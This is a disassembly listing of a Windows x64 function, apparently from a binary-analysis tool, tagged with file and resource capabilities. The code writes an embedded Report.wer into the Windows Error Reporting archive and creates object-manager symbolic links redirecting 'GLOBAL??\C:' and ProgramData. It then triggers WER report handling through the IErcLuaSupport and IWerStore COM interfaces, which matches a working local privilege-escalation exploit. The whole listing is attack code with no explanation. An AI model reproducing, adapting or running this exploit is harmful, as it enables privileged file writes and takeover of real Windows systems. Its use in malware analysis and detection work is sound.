Function at 0x14001102d
Capabilities:
Create directory
Extract resource via kernel32 functions
Write file on windows

Disassembly:
jmp 0x140011a30
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rdi
sub rsp, 0x568
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0xe6
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x588]
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x508], rax
lea rcx, [0x1400240a6]
call fcn.1400113c0
nop
mov qword [rbp + 8], 0
mov qword [rbp + 0x28], 0
mov qword [rbp + 0x48], 0
mov qword [rbp + 0x68], 0
mov qword [rbp + 0x88], 0
mov dword [rbp + 0xa4], 0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rbp + 0xc8], rax
lea r8, str.Report
mov edx, 0x65
mov rcx, qword [rbp + 0xc8]
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov qword [rbp + 0xe8], rax
mov rdx, qword [rbp + 0xe8]
mov rcx, qword [rbp + 0xc8]
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [rbp + 0x104], eax
mov rdx, qword [rbp + 0xe8]
mov rcx, qword [rbp + 0xc8]
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov qword [rbp + 0x128], rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [rbp + 0x2f8], rax
lea rdx, str.NtCreateSymbolicLinkObject
mov rcx, qword [rbp + 0x2f8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14001e1b0], rax
lea rdx, str.RtlInitUnicodeString
mov rcx, qword [rbp + 0x2f8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14001e1b8], rax
lea rdx, str.NtCreateDirectoryObject
mov rcx, qword [rbp + 0x2f8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14001e1c0], rax
xor edx, edx
lea rcx, str.C:ProgramDataMicrosoftWindowsWERReportArchiveMyReport
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
nop
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 4
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
lea rcx, str.C:ProgramDataMicrosoftWindowsWERReportArchiveMyReportReport.wer
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rbp + 0x318], rax
cmp qword [rbp + 0x318], 0xffffffffffffffff
jne 0x140011be4
lea rcx, str.____Cannot_create_report.wer_file._n
call fcn.1400111ae
nop
mov eax, 0xffffffff
jmp 0x1400121a9
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, dword [rbp + 0x104]
mov rdx, qword [rbp + 0x128]
mov rcx, qword [rbp + 0x318]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x140011c26
lea rcx, str.____Failed_to_write_to_report.wer_file._n
call fcn.1400111ae
nop
mov eax, 0xffffffff
jmp 0x1400121a9
lea rcx, str.___Report.wer_file_created._n
call fcn.1400111ae
nop
mov rcx, qword [rbp + 0x318]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitialize]
mov dword [rbp + 0xa4], eax
cmp dword [rbp + 0xa4], 0
jge 0x140011c75
mov edx, dword [rbp + 0xa4]
lea rcx, str.Error:_CoInitialize_0x_x_n
call fcn.1400111ae
nop
mov eax, 0xffffffff
jmp 0x1400121a9
mov qword [rsp + 0x40], 0
mov dword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 3
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 0xffffffff
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitializeSecurity]
mov dword [rbp + 0xa4], eax
cmp dword [rbp + 0xa4], 0
jge 0x140011cde
mov edx, dword [rbp + 0xa4]
lea rcx, str.Error:_CoInitializeSecurity_0x_x_n
call fcn.1400111ae
nop
mov eax, 0xffffffff
jmp 0x1400121a9
lea rax, [rbp + 0x28]
mov qword [rsp + 0x20], rax
lea r9, [0x14001b1e8]
mov r8d, 4
xor edx, edx
lea rcx, [0x14001b1d0]
call qword [sym.imp.ole32.dll_CoCreateInstance]
mov dword [rbp + 0xa4], eax
cmp dword [rbp + 0xa4], 0
jge 0x140011d2f
mov edx, dword [rbp + 0xa4]
lea rcx, str.Error_CoCreateInstance:_0x_x_n
call fcn.1400111ae
nop
mov eax, 0xffffffff
jmp 0x1400121a9
mov rax, qword [rbp + 0x28]
mov rax, qword [rax]
lea rdx, [rbp + 0x48]
mov rcx, qword [rbp + 0x28]
call qword [rax + 0x18]
mov dword [rbp + 0xa4], eax
cmp dword [rbp + 0xa4], 0
jge 0x140011d6d
mov edx, dword [rbp + 0xa4]
lea rcx, str.Error_pIErcLuaSupport:_0x_x_n
call fcn.1400111ae
nop
mov eax, 0xffffffff
jmp 0x1400121a9
mov rax, qword [rbp + 0x48]
mov rax, qword [rax]
lea rdx, [rbp + 0x68]
mov rcx, qword [rbp + 0x48]
call qword [rax + 0x20]
mov dword [rbp + 0xa4], eax
cmp dword [rbp + 0xa4], 0
jge 0x140011dab
mov edx, dword [rbp + 0xa4]
lea rcx, str.Error_pIWerStoreFactory:_0x_x_n
call fcn.1400111ae
nop
mov eax, 0xffffffff
jmp 0x1400121a9
mov rax, qword [rbp + 0x68]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x68]
call qword [rax + 0x18]
mov dword [rbp + 0xa4], eax
cmp dword [rbp + 0xa4], 0
jge 0x140011de5
mov edx, dword [rbp + 0xa4]
lea rcx, str.Error_pIWerStore_Proc3__:_0x_x_n
call fcn.1400111ae
nop
mov eax, 0xffffffff
jmp 0x1400121a9
lea rcx, str.MyReport
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rbp + 0x338], rax
lea rcx, str.test
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rbp + 0x358], rax
mov rax, qword [rbp + 0x68]
mov rax, qword [rax]
lea r8, [rbp + 8]
mov rdx, qword [rbp + 0x338]
mov rcx, qword [rbp + 0x68]
call qword [rax + 0x30]
mov dword [rbp + 0xa4], eax
cmp dword [rbp + 0xa4], 0
jge 0x140011e52
mov edx, dword [rbp + 0xa4]
lea rcx, str.Error_pIWerStore_Proc6_:_0x_x_n
call fcn.1400111ae
nop
mov eax, 0xffffffff
jmp 0x1400121a9
mov qword [rbp + 0x378], 0
lea rdx, str.___test
lea rcx, [rbp + 0x1a8]
call qword [0x14001e1b8]
nop
mov dword [rbp + 0x228], 0x30
mov qword [rbp + 0x230], 0
mov dword [rbp + 0x240], 0x40
lea rax, [rbp + 0x1a8]
mov qword [rbp + 0x238], rax
mov qword [rbp + 0x248], 0
mov qword [rbp + 0x250], 0
lea r8, [rbp + 0x228]
mov edx, 0xf000f
lea rcx, [rbp + 0x298]
call qword [0x14001e1c0]
nop
lea rdx, str.Windows
lea rcx, [rbp + 0x148]
call qword [0x14001e1b8]
nop
lea rdx, str.GLOBAL__C:_test
lea rcx, [rbp + 0x178]
call qword [0x14001e1b8]
nop
mov dword [rbp + 0x1d8], 0x30
mov rax, qword [rbp + 0x298]
mov qword [rbp + 0x1e0], rax
mov dword [rbp + 0x1f0], 0x40
lea rax, [rbp + 0x148]
mov qword [rbp + 0x1e8], rax
mov qword [rbp + 0x1f8], 0
mov qword [rbp + 0x200], 0
lea r9, [rbp + 0x178]
lea r8, [rbp + 0x1d8]
mov edx, 0xf0001
lea rcx, [rbp + 0x2b8]
call qword [0x14001e1b0]
nop
mov r8d, 0x30
xor edx, edx
lea rcx, [rbp + 0x1d8]
call fcn.1400112fd
nop
mov r8d, 0x10
xor edx, edx
lea rcx, [rbp + 0x148]
call fcn.1400112fd
nop
mov r8d, 0x10
xor edx, edx
lea rcx, [rbp + 0x178]
call fcn.1400112fd
nop
lea rdx, str.ProgramData
lea rcx, [rbp + 0x148]
call qword [0x14001e1b8]
nop
lea rdx, str.GLOBAL__C:Programdata
lea rcx, [rbp + 0x178]
call qword [0x14001e1b8]
nop
mov dword [rbp + 0x1d8], 0x30
mov rax, qword [rbp + 0x298]
mov qword [rbp + 0x1e0], rax
mov dword [rbp + 0x1f0], 0x40
lea rax, [rbp + 0x148]
mov qword [rbp + 0x1e8], rax
mov qword [rbp + 0x1f8], 0
mov qword [rbp + 0x200], 0
lea r9, [rbp + 0x178]
lea r8, [rbp + 0x1d8]
mov edx, 0xf0001
lea rcx, [rbp + 0x2d8]
call qword [0x14001e1b0]
nop
mov r8d, 0x30
xor edx, edx
lea rcx, [rbp + 0x1d8]
call fcn.1400112fd
nop
mov r8d, 0x10
xor edx, edx
lea rcx, [rbp + 0x148]
call fcn.1400112fd
nop
mov r8d, 0x10
xor edx, edx
lea rcx, [rbp + 0x178]
call fcn.1400112fd
nop
lea rdx, str.__C:
lea rcx, [rbp + 0x148]
call qword [0x14001e1b8]
nop
lea rdx, str.___test
lea rcx, [rbp + 0x178]
call qword [0x14001e1b8]
nop
mov dword [rbp + 0x1d8], 0x30
mov qword [rbp + 0x1e0], 0
mov dword [rbp + 0x1f0], 0x40
lea rax, [rbp + 0x148]
mov qword [rbp + 0x1e8], rax
mov qword [rbp + 0x1f8], 0
mov qword [rbp + 0x200], 0
lea r9, [rbp + 0x178]
lea r8, [rbp + 0x1d8]
mov edx, 0xf0001
lea rcx, [rbp + 0x278]
call qword [0x14001e1b0]
nop
mov rax, qword [rbp + 8]
mov rax, qword [rax]
lea rcx, [rbp + 0x378]
mov qword [rsp + 0x28], rcx
lea rcx, [rbp + 0x358]
mov qword [rsp + 0x20], rcx
xor r9d, r9d
mov r8d, 0x400
mov rdx, qword [rbp + 0x338]
mov rcx, qword [rbp + 8]
call qword [rax + 0xc0]
mov dword [rbp + 0xa4], eax
cmp dword [rbp + 0xa4], 0
jge 0x14001215f
mov edx, dword [rbp + 0xa4]
lea rcx, str.Error_pIWerReport:_0x_x_n
call fcn.1400111ae
nop
mov eax, 0xffffffff
jmp 0x1400121a9
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
mov rcx, qword [rbp + 0x278]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rcx, qword [rbp + 0x298]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rcx, qword [rbp + 0x2d8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rcx, qword [rbp + 0x2b8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
jmp 0x1400121a7
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x50]
lea rdx, [0x14001b0d0]
call fcn.14001134d
mov rax, rdi
mov rcx, qword [rbp + 0x508]
xor rcx, rbp
call fcn.1400111cc
lea rsp, [rbp + 0x518]
pop rdi
pop rbp
ret